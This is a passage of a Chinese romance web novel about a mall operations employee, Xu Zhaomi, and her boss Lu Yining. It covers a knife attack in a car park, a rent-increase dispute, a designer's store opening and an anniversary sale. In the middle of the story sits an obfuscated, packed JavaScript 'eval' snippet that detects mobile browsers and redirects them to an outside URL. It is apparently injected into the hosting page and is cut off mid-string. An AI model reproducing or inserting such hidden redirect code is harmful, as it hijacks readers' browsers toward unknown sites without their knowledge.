一些商家突然对这次租金上调生出不满,并组织员工进行抗议。奇怪的是,之前他们明明已经认可了调整方案,而现在却突然变卦。这些一贯标榜高端的品牌,此刻却选择用拉横幅聚众闹事这样野蛮的方式来表达抗议。 “反对霸王条款!反对不合理涨租!我们早贪黑地开店营业,每月按时交租!商场任何活动都积极参加,从来不给商场找麻烦!现在倒好,看我们营业额高了就单方面通知涨租,这不是欺负人吗?我们跟商场是合作伙伴,不是随便被割的韭菜!我们必须维护自己的合法权益,坚决不妥协!” 事件愈演愈烈,陆以宁紧急召开公关部会议,安排人员立刻联络政府部门,协助维护稳定,这才暂时控制住了局面,没有造成更大的不良影响。 但令人不安的气氛却始终笼罩着每一个人,就是在这样人心惶惶的时刻,许昭弥在临下班前收到了陆以宁给她发来的微信。 “下班有事吗?” “没事没事,要去看阿姨吗?” “嗯,明天她出院。” 许昭弥立刻回了个好。 为了避免在电梯里遇到同去车库的同事,她稍微早走了一小会儿。还特意从伍叔那里买了点糕点带去给陆曼青,提着糕点早早到了停车场,在离车子不远处那个石柱后的老位置等着他。 陆以宁还没来。许昭弥临走时偷偷往他办公室方向瞟了眼,临下班还有十几分钟的时间,公关部总监和大姚还在他的办公室里没有走,许昭弥就知道他大概会晚点下来。其实她是有点意外的,没想到都这个时候了陆以宁还会给自己发信息,抛开其它不说,这男人确实是个很孝顺的好儿子。 大概又过了十五分钟,陆以宁从电梯里走出来,正伸手进口袋里掏钥匙,事情就发生这样的一瞬间。 等陆以宁前脚刚迈出电梯时,藏在电梯门旁的歹徒就立刻上前一步,将手中的匕首猛然朝他胸口刺了下去。 “小心!”许昭弥听到脚步声,本能地探出头查看,然后便看到这样骇人的一幕,是她及时的尖叫提醒了陆以宁。陆以宁迅速把手缩回口袋,身体本能像一侧闪躲,肩膀勉强避开那锋利刀刃,躲过了致命一击。 许昭弥被吓得不轻,但见那歹徒还要继续攻击,不知从哪里来的勇气驱使她冲上前去,大喊喝止,“住手!我报警了!”她高举手机,毫不畏惧地逼近歹徒。歹徒见状不妙,瞥了许昭弥一眼后,立刻转身逃进了消防通道。 “你怎么样?还行吗?”许昭弥声音在抖。那么长的刀子在陆以宁胳膊上划了一道口子,露出了里面带血的白衬衫。陆以宁低着头,用另一只手死死攥着受伤的胳膊,血珠从指缝间不断渗出,怎么压都压不住。“操。”他烦躁地骂了句脏话,抬头问许昭弥,“会开车吗?” “……有驾照。” 车钥匙立刻抛给她。压着愤怒的嗓音,“去医院。” 许昭弥扶着陆以宁向车子走,智能钥匙自动感应开了锁。陆以宁倚在副驾驶座上,疼得脑门冒虚汗。他偏头看向许昭弥,看她手忙脚乱地调座椅和镜子,又去系安全带,可怎么插都插不进去。看她眼框红红的,泪水在眼睛里打转,快要急哭了。 “我也很着急,但这其实是我第一次开车,我很紧张,开不好你别骂我,行吗?” 陆以宁原本憋了一肚子火气,听她这么说,又突然被气笑,“刚刚那么勇敢,这会儿又怂了?我是比刀子还可怕?”俯身过压在了她身上,强忍着肩膀的痛亲手为她系好安全带。 “慢慢开,我血多,怎么着也能流上两小时。” !许昭弥哪里敢让他流两个小时的血呢?一踩油门就冲了出去,一路上就像开过山车似的。新手开车都有个通病,那就是找不到感觉,总是深一脚浅一脚的,车子一会儿慢一会儿快。纵使是玛莎拉蒂也禁不住她这样造。陆以宁血没流干倒是先被她给颠死了。 许昭弥开车时听到陆以宁给陆曼青打电话,“对,不过去了。管我们去哪?约会。”一脚刹车,陆以宁差点被撞飞。捂着生疼的胳膊来了句“我操”,开口就想骂她。“对不起对不起!”许昭弥一个劲儿地抱歉,脖子脸上都是汗,陆以宁一瞬间又没出息地心软了,硬生生把火气压下,扭过头自己忍着。罢了算了,死就死吧! 到了医院,许昭弥去帮他挂号,陆以宁在急救室缝针,等许昭弥挂号回来,见他已经坐在椅子上挂上了吊瓶。他闭着眼,浑身散发着“生人勿扰”的气场。说实话,这男人长得是真好,身材也有型,由于胳膊绑着纱布不方便穿外套,西服就那么随意披在肩膀,受了伤的样子竟有种奇异的破碎美感。路过的小护士都忍不住多看他几眼,又纷纷被吓跑。 许昭弥没有打扰他输液,而是先去找了医生,接着又去为他拿了药。等到再次拿药回来时,发现他已经睁开了眼睛,正开着手机免提通在打电话,“对,是我报警……”许昭弥走近后才听清他的语气特别凶狠,再三向警察交代“抓到歹徒务必严惩”,看来是真的气不轻。 等他挂了报警电话后许昭弥才走过去,把开好的药放在旁边的椅子上,嘴里嘀嘀咕咕了两句,被心情不好的陆以宁立刻逮到,眼一立瞪着她:“嘀咕什么呢?” “我说可能是商户……”许昭弥也只是小小猜测了一下,毕竟这事儿也太邪乎了,恰好又在这个节骨眼,除了商户报复她想不出来别的。 “商户就不该报警吗。他刚刚差点弄死我!” 许昭弥不是这个意思,她没有向着商户说话,只是觉得车库里都是监控,这事儿其实很好查。但他要把事情闹大她也拦不住,不过她还是要如实告诉他:“医生说你问题不大哦。” “那是我反应快!” 这人火气也太大了,许昭弥说不过他,干脆就不说话。她不与病人计较,她多么体贴呢?设身处地地站在他的角度想了想,自己要是无缘无故被人捅一刀,这会儿可能也火大。 但是陆以宁真的无辜吗? 许昭弥不说话,这让陆以宁更生气了。他还不知道她怎么想的? “我知道你心里站在商户那边,但别忘了你的立场许昭弥。我是你老板,而你老板我刚刚差点被人捅死。” “没有没有,我绝对站在您这边,发生这样的事,我也感到很抱歉。”许昭弥嘿嘿一笑,她又不傻,当然知道该怎么说才能哄老板开心了。 “最好是。”陆以宁哼了一声。他没有意识到,自己已经不知不觉地把许昭弥当成了他的人。刚刚看到这女人话里话外向着别人说话,他心里那股不舒服的感觉就像是被猫抓挠了一下,怎么都无法消散。 闭着眼睛输液,不再看她。许昭弥好脾气地坐在他隔壁,帮他看着点滴,又翻翻那些药品的说明书,偶尔也几个呵欠也是轻轻的,不让他发现。 两个人中间隔着一 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陆以宁有一点反感她说话的语气,绷着薄唇没有回答,沉默中把脸转向许昭弥,示意她关机。却见这罪魁祸首的笨女人早就背过身去,连耳朵都堵了起来! 陆以宁踢了她一脚,许昭弥“呀”地一声转过身来,声音不大不小正好被安旎听到,“你身边有女人?” 吓得许昭弥立刻捂住了嘴,大眼睛眨巴眨巴,诚惶诚恐地望着陆以宁,在他怒视下战战兢兢地挂掉了电话。 “对不起嗷我不是故意的,但是你刚刚好像不小心踢了我一下。” 陆以宁懒得理她。 液输完了,已是深夜十点。两个人穿戴好外套,一同走出急诊室大厅。 “医生说您的手臂暂时不能沾水,最好也要减少动作,以休息为主。给您开了口服药和外擦药,按说明书使用就行。半个月后来医院拆线。您别担心,医生说了问题不大,小伤口一般不会留疤。” 去停车场的路上,许昭弥喋喋不休,陆以宁却一言不发。等到了车门前,许昭弥忽然停下问他,“对了,您可以自己开车吗?” 陆以宁看出她想走了,又没了好气,“你觉得呢?” “那我送您吧~”许昭弥笑眯眯地看着他。陆以宁眉微挑,没想到她会这样回复,“嗯”了声后坐进副驾驶,理所应当。 心情也好了一点点。 打开手机导航,输入他家地址后,许昭弥便全神贯注地开车。这会儿不着急了,所以她也不慌了,车开得比来的时候好了很多。陆以宁坐在副驾驶上闭目养神,一颗心却总是飘来飘去,始终都无法安定下来。 是在行驶到一半的时候,大飞给她打来电话,由于身边没有耳机,许昭弥就只能很不好意思地按了公放。 “在家不?”大飞买了夜宵,“去你那儿吃啊!” 许昭弥馋夜宵,她这会儿还没吃晚饭呢,就有点失望,“可是我还没下班呢……”倒也不是撒谎,在许昭弥的潜意识里,只要和陆以宁在一起,不管什么时候都是“上班”。 许昭弥和大飞多熟呀,俩人可是一块玩泥巴长大的发小,俩人聊天的语气就很亲很自然。陆以宁就不高兴了,眼睛睁开,眉头拧在一起,突然咳了一声。 吓得许昭弥一个机灵,忙让大飞挂了电话,“我在给老板开车呢,先不说了哈!” “男朋友?”陆以宁等她挂断电话,不咸不淡开口。 “不是,是朋友。” “朋友大半夜去你家吃饭?什么朋友这么没分寸感,还是你身边都是这样没分寸感的朋友?” 陆以宁夹枪带棒了一晚上,许昭弥看在他是老板又受伤的面子上都不与他计较,这会儿终于有点不舒服的感觉了。不过即便如此她也没胆儿跟他犟嘴,就只默默看他一眼,然后不回他。她没必要给他解释,他们发小之间的关系有多好。 “你的兼职具有特殊性,希望你能明白,自觉做到不谈恋爱。”陆以宁没想到自己会说出这样的话,但是说完也不后悔,微微偏了头,偷偷观察许昭弥的反应。 “不会的,请您放一百个心。”她笑笑。心想这对男朋友也不公平,要是她真谈恋爱了,这个合约就不会继续。 陆以宁对这个答案还算满意,今晚这张好像淬过毒的嘴才终于肯放过她。闭上眼睛继续休息,糟糕了一整晚的心情出奇有了点好转。 到了他家公寓楼下。 “还需要我送您上楼吗?”许昭弥下了车,把钥匙归还给他。 “看你。” 许昭弥看了眼门禁,只需“嘀”地刷下卡就能进去大厅,这不是什么难事,他受得伤又不是多严重,何况他还有一条完好的胳膊。这样想着,许昭弥便把手里提拎着的塑料袋递给他,笑眯眯说:“那我就不送您啦,这是您的药。” 陆以宁接过袋子,在她转身时突然又喊住了她,“等下。” 许昭弥回过头,见他又把车钥匙递了过来,“车你开走,明天到单位还我。”笨就算了,一点安全意识都没有,大黑天的去哪里打车? “不用不用,我打出租车就好,我刚刚看了路边就有,出租车很正规的,您不用担心。” 担心?他才不是担心她!陆以宁没意识自己的耳朵竟然也有点发红,那是被拆穿心思后的红温反应。他自己死不承认。爱要不要,不管她,扭头进了公寓。气势汹汹。 等进了家门,他将袋子随手丢在餐桌上,里面的药散落出来,竟有那么一点不同寻常。他逐一拿起查看,发现所有的药都被许昭弥精心做好了分装。每一餐间隔多久后该吃哪种药,都用圆珠笔在药袋上仔细地标注了出来;外敷药的剂量是多少,每次该用多少,也都提前做好了记号。 是在这一刻,陆以宁突然共情了陆曼青,理解了她为什么会喜欢许昭弥。在这个到处充斥着套路和敷衍的世界里,真诚的关心显得多么可贵呢?哪怕只是一件微不足道的小事情。陆曼青给他发来信息,“崽崽今天和弥弥约会怎么样啦?”长大后他很少被陆曼青叫乳名的,但凡这么喊他,都证明她这会儿的心情还不错。 “还可以。”他原本是想这么回的,可在低头看到桌子上被精心分装好的小药包时,又默了片刻,删掉了这三个字,换成了“还不错”。 12.便利贴与荒原狼12 转天一早警察就来到陆以宁办公室做笔录,连带着许昭弥一起被叫了进来。她想藏也藏不住,监控把她拍的清清楚楚,而且她也算是目击证人,不过没关系,她就说是自己路过时碰巧遇上的,根本没人怀疑。通过监控,警方很快锁定了凶手。凶手被抓后,没几句话就把幕后推手供了出来,果然是其中一家被涨租的商户。 事情至此已经十分明了了,由于陆以宁的租金调整政策,使得该商户心生不满,遂买凶报复。 这事儿原本可以私下解决的,然而陆以宁却选择了报警,这使得性质瞬间发生了变化。结果事情越闹越大,最后几乎全商场的租户都知道了。当天那家店铺的负责人就被警察带走,店铺也被查封。在人流如织的购物中心二楼,这家店铺被来往客人层层围观,小视频在微博上传得到处都是,给连华造成的影响可以说是相当恶劣了。 也有好的一面。此前跟着闹事的一些商户都安分了下来,谁也不敢再折腾。恰在此时,陆以宁颁布了一项新政策:在接下来的三天内,凡是同意续签新租赁合同并接受租金调整的商户,商场将给予免费的广告支持,提供电子显示屏展示一个月。同时,在新租金标准开始执行的初期,还将享受一段时间的减租优惠。在双重福利政策的推动下,商户们纷纷签订新合同。 事情就这么不算圆满却又圆满地解决了。后来在会上作总结时,陆以宁对着大家说道:“我知道这次改革大家都付出了双倍的精力和心血,但希望大家都能理解——”他说接下来这段话的时候,似乎特意将目光投向了许昭弥。 “提高租金并非商场无端之举,而是在审慎考量市场环境变化后做出的决定。在变化的经济大环境下,租金适时调整对确保物业投资回报率至关重要。随着市场演进,成本持续上扬,商场运营面临巨大压力。合理调整租金能为商场持续发展提供稳定资金支持,保障商场不断升级改造。无论是硬件设施更新还是软件服务优化,都需充足资金投入。唯有如此,商场才能在激烈竞争中站稳脚跟,为商户吸引更多的顾客流量,创造更有利经营条件。希望大家能够理解这一点,从而真心支持我们的各种决策。” 最后,他还说了这样动人的总结陈词:“此次改革涉及众多商户,期间我们确实遭遇了部分商户的强烈抵触,也面临着来自各方面的重重阻力。我深知大家为此付出了无比巨大的努力,也完全理解这段时间以来大家所承受的诸多困难。但是请大家一定明白,只有当商场作为整体在业绩上取得突破,我们每一位员工的辛勤付出才能得到最为真切的体现与回报。我由衷希望在年终的绩效评估中大家都能够展现出色的成绩。在此我代表连华向大家致以最诚挚的感谢。感谢你们的辛勤付出,更期待着我们能够共同成长,携手迈向更加美好的未来。” 他用缠着纱布的受伤手臂扶着话筒,起身向大家深鞠一躬。而后全场响起热烈掌声。那天的会议到最后时刻甚至充满了令人振奋的热血氛围,大家都深受感动,听得格外认真。一种认同感和归属感在心中油然而生,在职场中,这样的感受其实是真的很难得。 许昭弥坐在后排,听得比任何人都认真。其实陆以宁没有猜错,她内心确实是偏向商户的,觉得人家辛辛苦苦提高了营业额,却迎来涨租,有点不公平,在她眼里资本家就是吸血鬼。本质上她什么都不懂,不过是一个打杂的,作为底层打工人,很容易就和相对弱势的一方共情了。然而在那一刻,她突然有了一种全新的感悟,觉得自己向来的认知都过于狭隘。应该以更开放的心态去学着理解和接纳不同的视角。无论是工作中,还是在工作之外面对生活中的人和事,都应该如此。 后来贝诗楠信誓旦旦对许昭弥说:“我觉得陆总被捅这事儿就是他自己设的局。瞧他自始至终气定神闲的,绝壁故意的!先是把人送进局子,接着又紧锣密鼓推出新政策,典型的打一巴掌给个甜枣,这操作简直太丝滑了。”不止贝诗楠一个人这么认为,那阵子同事之间都在传这事儿,把陆以宁的手段传得神乎其神的。许昭弥要不是那天在医院亲眼见过他暴走,差点就真的信了。 不过也说不定,陆以宁老谋深算,或许一切都在他掌控之中,连许昭弥都可能被他演技给骗了。想到这儿她起了一层鸡皮疙瘩,心想要真是这样,这人也太恐怖了!她忍不住回头看,竟看到久未露面的坤总推门走进了陆以宁的办公室。 “怎么样,听说你受伤了,严重吗?” 陆以宁接过张坤递来的烟,笑笑说:“多谢关心,已经好多了。” “那就好,这次改革你辛苦了。” “没你辛苦,出差还惦记我,我得向你学习。”两人抽着烟,相视一笑,气氛就有那么一丢丢微妙。 他们都清楚事件背后的主使,商户只是被利用罢了。那人想借改革乱象让总部问责陆以宁并将其撤职,却没料到他会报警。报警对连华影响大,对陆以宁本人也不利。张坤原以为他会内部处理,却低估了他的魄力决心,陆以宁宁可闹大也要彻底解决,让人不得不重新审视。 “对了,听陈萨说你把于大设计师谈下来了,恭喜。有时间一起吃个饭?” “可以。” 就这么看似随意地聊了两句,张坤起身离开了陆以宁办公室。许昭弥迅速把头扭回去,却还是被陆以宁逮个正着。很快微信上弹出了他的消息—— “好看么?” “偷窥老板上瘾了?” “不然进来看?” 陆以宁连发三条。许昭弥脸微红,忙回了个“不敢不敢”,把手机赶快丢到一边,开始投入工作。 店庆倒计时十天,每天早上一到就是各种会,立项会、沟通会、协调会……推广部确认好主题和方案后,需要营运部配合去找商家谈折扣。许昭弥负责的负一层是最不紧张的,毕竟一楼随便一家奢侈品店,像爱马仕、LV、普拉达这种就能秒杀负一层。但很多其实奢侈品店是不参加商场折扣的,所以情况就很难办,许昭弥即便轻松一些,却依然认认真真地做着准备。 “亲爱的,我一会儿要去中庭布置主题展示区,实在抽不开身。你帮我去趟西区那家正在装修的店铺拍下进度好不好?”刚散会,米姐就来找许昭弥。米姐是这次店庆活动的总策划,忙得不可开交。 许昭弥毫不犹豫就答应了,立刻跑去西区拍照。拍完照后,她又调出了昨天的门店销售日报表,马不停蹄去找商家洽谈店庆日的目标营业额。其实对于她们营运人来说,除了要关注商铺的营业额,像停车场收入、广告位出租、库房出租以及线上卡券售卖等这些多经收入指标也得留意,因为这些都是她们的KPI。 那一阵子真的特别的忙。恰逢于晓沁的中式旗袍旗舰店正式进驻连华商场。营运部为此专门召开小组会议,商讨谁来跟进装修事宜。原本临街黄金铺位以及地下超市都是由营运部经验最为丰富的袁姐负责,可她是高龄产妇,怀着身孕实在无法胜任。盯装修是个特别麻烦的事儿,过程中问题不断,围挡设置、烟道、水电故障以及各种施工问题层出不穷,半夜还会经常接到投诉电话。大家都不愿意接手,毕竟又不是自己负责的商户,吃力不讨好。 会议上大家都在互相推脱,有说要在家里带孩子,有说闻不了装修味道的,大姚看着这群“扶不起的阿斗”,无奈之下只好私下找到许昭弥,希望她发挥乐于助人的精神来。 “好啊。”许昭弥几乎没怎么思考就答应了。毕竟那可是于晓沁的店呀,说不定哪天见到她本人还能要个签名呢!许昭弥是这样想的,却不知道自己这想法在别人眼里傻的冒泡。贝诗楠调侃她:“姐妹,商场里那么多李宁旗舰店,你见过李宁吗?见过乔丹吗?”许昭弥听完自己也乐了。不过无所谓,她就是愿意帮忙,并不把这些得失放在心上。 于晓沁的旗袍店正式开始进场装修。那阵子,许昭弥起得比鸡早、睡的比狗晚,仅有的空隙还要经营伍叔的小红书账号。虽然累了点,但看着账号一点点有起色,心里很开心。工作充实的感觉真的很好,只是实在抽不出时间去看陆曼青了。于是有时她会买些点心悄悄送到陆以宁办公室,拜托他给阿姨送去。 可是那阵子陆以宁也很忙,比许昭弥这个小卡拉米更忙。他忙战略规划、忙运营监督、忙市场推广等等,总之很少回家。许昭弥送的点心放在他办公室的柜子里,两天后他才想起,可点心也已经坏了。他盯着坏掉的点心看了几秒,随后拿起手机给许昭弥打了电话。 许昭弥正在工位上做季度报表,几个同事在她身后配合她录数据。看到来电显示后,许昭弥迅速捧起手机,像捧手雷一样急忙跑进了茶水间。 吓死她了,“喂。” “下班后跟我回家吗?” “好、好呀。”许昭弥好久没去看望陆曼青了,心里有点内疚,也确实有点想她。她答应得很快,随后又沉默不语。只因陆以宁刚刚的语气令她心跳急剧加速,此刻的她还在回味——“跟我回家吗?”他说这话的时候带着一点难得的温柔,这句话隐隐透着暧昧,不仅勾起了许昭弥的少女心,还让她沉浸在一种微妙的情绪里。 陆以宁不知道自己随口的一句竟被许昭弥脑补出这么多情节来。他只觉得她刚刚逃窜的样子很傻,自己也不禁笑了一下。临挂断时提醒她:“只要不开免提,别人就听不到我说话。” 许昭弥的心情忽然变得有点好。她马不停蹄地回到工位,继续投入到报表制作中,如同打了鸡血一般,一心想要赶在下班前把工作做完。仿佛一会儿要去奔赴什么重要约会似的,充满无限动力。 临下班前终于完工,这时贝诗楠打来电话:“我操弥弥,你嘴巴是开光了吗!快来一楼看明星,于晓沁来了!” 于晓沁来查看装修进度,毕竟是她的国内首店,自然格外上心。许昭弥作为临时督工,肯定是要在现场的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255728|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家得知于晓沁来了,也都纷纷跑下楼围观。之前有个当红小花代言的化妆品牌把本尊请来出席活动,大家也是这么激动。 陆以宁陪着于晓沁,二人有说有笑地走进商场。大姚在前面引路,一边走着一边介绍着一楼的品牌环境。于晓沁戴着墨镜,身穿巴宝莉最新款风衣,长发披肩,模样酷飒美艳。她神色高傲,对周围的人看都不看一眼,气场十足。不过,她始终紧跟着陆以宁,陆以宁带她去哪儿她就去哪儿,即便戴着墨镜,也能看出她的眼神一直紧紧黏着陆以宁。 “般配。”这是许昭弥见到于晓沁时的第一印象。彼时,她甚至忘了从围观人群中挤出来,只是怔怔地看着眼前的俊男美女,只觉得无比养眼。说真的,这是她第一次觉得有能和陆以宁站在一起而毫无违和感的女人。陆以宁冷白皮、大长腿,据说还继承了他曾祖父八分之一的英伦血统,五官优越得仿佛不似凡人。许昭弥不止一次地幻想过安旎和他站在一起的样子,却总是觉得有股说不出的违和感。而这次,终于看到了一个与他站在一起毫不违和的女人出现。 呆愣在人群中,双腿如同灌了铅一般无法前进。大姚眼尖地把她揪了出来,一把将她按到于晓沁面前做介绍:“这是我们营运部的许经理,负责您店铺装修事宜。有什么问题您随时可以找她。” 陆以宁目光落在许昭弥身上。她这会儿就像只手忙脚乱的小鹌鹑,缩着脑袋立在那,想伸手却又怎么都不敢。 “辛苦你啦。”人美心善的于大设计师却主动与她握手,白皙指尖搭在许昭弥手背上,声音带着些许娇柔。哇塞,和名人握手了耶。许昭弥微微红了脸,声音小得可怜:“没关系,我应该做的……” 就这素质。陆以宁心想,又不是什么大人物,至于紧张得话都说不出来?以后找机会一定要好好练练丫,不然太没用了。陆以宁没再看她,转身陪着于晓沁继续走。两个大人物在前谈笑风生,许昭弥像个小尾巴似的跟在后面,忽然觉得自己就像是跟着皇上皇后逛后花园的小宫女一样。那大姚岂不就是总管太监!可太逗了。 “我们想邀请代言人安旎小姐在首店开业时前来助阵,陆总意下如何呢?” “可以。” “就只是‘可以’呀?”于晓沁笑着打趣,有一点点故意,“我还以为您会特别赞成呢!” “我们只是朋友。” “啊,看来是我误会了。那么陆总是单身状态喽?” “对。” 于晓沁嘴角忍不住向上扬了扬。她伸手摘下墨镜,凑近陆以宁说起悄悄话:“那么陆总今晚有空吗?”其实她知道他的真实身份,所以她呢,恰好也对到其他城市拓展业务也很感兴趣,“不知道今晚能否有幸与您详谈?” 绕了一圈后他们又回到了店铺门前,陆以宁半身沐浴在夕阳余晖之中,单手插在西裤口袋,姿态闲适地立在那里,听后对她意味深长地笑了那么一下,说:“我请。” …… 许昭弥亲眼看着陆以宁上了于晓沁的车子,那是一辆红色法拉利,具体什么型号她可看不出来。她只认得法拉利的车标,只觉得那辆跑车特别酷,女孩子开起跑车来更酷。 不过她可不羡慕,法拉利的世界对她来说太遥远了。从小爷爷就教导她,人要脚踏实地,一步一个脚印地成长,财富呢,是要靠自己的努力去争取的。不嫉妒别人比你好,也不看轻自己,而是坚定走自己脚下的路。 所以她现在要去赶自己的公交喽! 陆曼青家住在市郊的别墅区,真的很远。许昭弥平时坐陆以宁的车时不觉得有多远,可这次赶上了晚高峰,她这才觉出辛苦来。不过,她一点都不后悔,即便只剩下自己一个人,她也还是想去看望陆曼青。既然答应了阿姨回去看她那么就不想食言。 这天晚上,陆以宁破天荒地喝了很多酒,甚至到了醺醉的程度。他平时在外应酬,绝大多数时候都不会让自己陷入这样的状态。于晓沁想要和他去开''房,毫不避讳的眼神仿佛在对他说,“我要为你正名”。 陆以宁推开她,瞬间觉得索然无味。他为什么会来呢?是因为爷爷在电话里施加的压力。回到潞城这么久,他还没做出一点成绩。为了得到他的认可,证明自己也是个值得骄傲的孙子,所以做了很多自己不喜欢的事。这么多年,他从不让自己喝醉,因为喝醉后他总会想起真实的自己,他厌恶那种感觉。于晓沁也是个很有傲气的女人,风月之事本就是你情我愿,既然没意思,那就算了。她也不是个小气的人,笑笑便收敛了那点心思,问了他一个问题:“你是gay吗?” 她这么一个有性张力的女人,和他几次接触下来,却察觉不到他对自己有一点感觉。于晓沁非常自信,要么是他那儿不行,就像安旎说的那样,要么他喜欢男人。 “我幻想女人的身子自''慰过,不止一次,所以我应该不是gay。”陆以宁说完这句话就离开了。 13.便利贴与荒原狼13 这一晚,许昭弥与陆曼青在花艺老师的指导下学习插花。两个人用山茶、银柳、小浆果和松柏枝作材料,共同完成了一件作品。陆曼青非常喜欢,还拉着许昭弥拍了合照,开心地发了朋友圈。 陆以宁回到车里,拿起手机叫代驾,是在等代驾的时候刷到了这张照片,这才想起许昭弥来。她竟然自己去了?他承认他是有一点意外。陆以宁想问问她为什么自己去,或许是酒精上头的原因,打字的手还有点抖,干脆就转成语音发消息。 “你去看陆老师了?” 许昭弥很快回了个“嗯嗯”的表情包,看起来心情很不错。 陆以宁声音在酒精的作用下显得有些沙哑:“我临时有事,抱歉。” “没关系没关系,您忙您的。”对于被放鸽子这件事,许昭弥似乎一点也不介意,她表现得越是无所谓和轻松,陆以宁心里就越觉得不舒服,可又说不清楚到底是哪里不舒服。想着想着便准备发个红包给她,可还没等发出去,许昭弥的消息又立刻传了过来。 “是我自己想来的!今天不算在报酬里哦。”好像就知道他接下来准备做什么。 陆以宁刚准备转账的手就顿在那里,卡的他不上不下,有点难受。一定是酒喝太多的缘故,不然怎么会突然有点内疚的感觉呢? 直接把手机丢到一边,车窗落下,让冷风灌溉。仰头靠在背枕纾解心头那股燥火,就那样发了一会儿呆,直到代驾小哥赶到。 在回公寓的路上,陆以宁突然睁开眼睛,急切命令小哥改了方向,他甚至催了小哥三次快一点,最后一次的时候,车头拐进别墅小院儿,还没停稳他就从车门摇摇晃晃迈了下来,直奔门厅。 客厅里一个人都没有,餐厅里也是。陆以宁就那么呆愣在那里,扶着桌子微微气喘,他心里有点失落,眼前也有点恍惚。陆曼青被何晓娥搀扶着从楼上走下来,看他在餐厅东张西望,张口道:“找什么呢?弥弥呀?她走了。” 陆以宁晕晕乎乎的,感觉自己要吐了,他扶着桌沿坐下,低头不说话。 “喝了多少这是?”陆曼青嫌弃他一身酒气,喊何晓娥去把醒酒汤盛来。汤还是热乎的,显然是刚煮好不久,陆以宁双手捧着慢慢喝,陆曼青坐在一旁看着他,“不是说好和弥弥一起回来?怎么变成弥弥一个人来了?” “临时酒局,推不了。” “什么酒局比妈妈还重要?”陆曼青不高兴,却还是伸出手来抚摸他的背,“妈妈不是怪你,是心疼你,知道吗?” 陆以宁默默喝着醒酒汤,却在抬头时瞧见桌前摆放着的一瓶新鲜插花。一枝银柳摇曳生姿,浆果点缀其间,红与绿相映成趣。 审美意外还不错,怪好看的,陆以宁没意识到自己竟然多看了那么几眼。 “好看吗?弥弥同我一起做的。” 陆以宁撇过目光,说了句凑合。 “口是心非。”陆曼青调侃他,“那这汤怎么样呢?也凑合咯?我可是瞧你都喝光了。” “汤还行。”陆以宁这次实话实说。何阿姨的手艺向来合他口味。 “你的汤是弥弥煮的哦。是弥弥在临走时特地为你煮的。”许昭弥是怎么知道他喝多了的呢?大概是他发语音时的大舌头,她听到的时候甚至还偷笑了一下,又被陆曼青听到,两个人一同无情嘲笑。是陆曼青告诉她今晚陆以宁一定会回家的,许昭弥其实是有一点不相信,这样一个美女在侧的浪漫夜晚,哪个男人舍得回家呢?但她还是把醒酒汤为他准备了出来。万一呢? 陆以宁顿了下,忽然就觉得心里有点痒,还有点难受。这是他今晚数不清第多少次出现这种感觉了。今晚喝的酒有毒吧?他是这样想,把今晚所有的不寻常都归咎在了酒上。 陆曼青很少与陆以宁像这般安静谈心,今天是个例外。“弥弥是个好姑娘,遇见她是你的缘分,也是你的福气,千万别辜负了人家。”她说这句话的时候,语气甚至带了一点祈求,眼泪湿润了眼眶,她从不与人这样。陆以宁呢,垂下头去,并不言语,像是个犯了错误的孩子,过了很久后才开口: “哥的祭日好像快到了。” “过段时间我回趟香港。” …… 店庆这天,许昭弥不到六点就赶到了商场。她换上工服,戴上耳麦,马不停蹄投入到紧张的准备工作中。连华十五周年店庆主题是“莲花绽放,共庆辉煌”。为了增添喜庆氛围,工作人员们都穿上了定制的红色套装。女生们身着白衬衫与红色包臀裙,尽显优雅;男生们则穿着红马甲,头戴花礼帽,就有那么一些搞笑。女生看到他们的装扮后都忍不住笑了。在最后一次部门确认会结束后,众人迅速奔赴各自岗位各就各位,为今天的活动全力以赴。 许昭弥负责今日活动的组织协调工作,尤其是各类突发事件的处理。她头戴耳麦,脚踩高跟鞋,在楼上楼下不停穿梭。哪家店铺发生投诉,马上飞奔过去解决;遇到走失的小朋友,立刻带到广播站安抚。尽管现场看起来有一点兵荒马乱,但实际一切都在有条不紊的进行中。 贝诗楠主要负责购物卡与赠品的管理。她与客服部的工作人员一同在客服台前忙碌。来领赠品的人很多,竟然还有人想插队!贝诗楠立刻上前制止,随后对着麦克风大喊:“宝贝宝贝,客服前台人员太集中了,请求人手支援!” “收到!”许昭弥迅速响应,一边通过耳麦有条不紊地指挥人员调配,一边又听到了米姐从耳麦中传来的紧急“战报”:“一级警报,东区一楼冰场附近疑似发现扒手,请各部门加强警惕。” 许昭弥如临大敌,迅速通知保安查看监控,又果断派遣人员跟踪可疑人物。除此之外还要提醒各商户提高警觉,这时候就要用到商场和商户之间所谓的“暗语”了,许昭弥转身跑向广播台。 原本是贝多芬那优雅欢快的《欢乐颂》在商场中悠扬回荡。可突然间,广播里的旋律画风一转,凤凰传奇的《奢香夫人》激昂响起~一听到这首事先约定好的“防扒”信号歌,商户们立刻心领神会,纷纷通知店铺员工做好防范准备。这就很有意思。 今天骆弋舟也来连华凑了个热闹。他穿着LV的“貂皮大袄”,下身搭配一条黑色喇叭裤,大摇大摆地在商场里走着。打扮得像是八零年代的土嗨暴发户。 许昭弥在赶往二楼一家科技产品集合店处理顾客纠纷时与他撞个正着。 “骆总好。”她微微一笑,礼貌点头问好,接着便匆匆跑开,低头对着手中的对讲机回应着:“好的,马上就来。” 骆弋舟停下脚步,忍不住回头看她,上下打量她那凹凸有致的身材曲线,目光里有耐人寻味。陆以宁此刻正站在他身后盯着他,眼神有一点可怕,在他转过身来的瞬间却又一言不发把头扭向一旁,迈步到栏杆前俯瞰一楼中庭的活动。 中庭这会儿正在进行抽奖环节,这是这次店庆的重头节目。然而参与活动的客人却并不多,实际上今天实时统计到的客流量也都不让陆以宁满意。很快骆弋舟来到他身边,笑容里带着那么几分故意。 “我能问你个事儿吗?” “不能。” “我还没说什么事儿呢。” 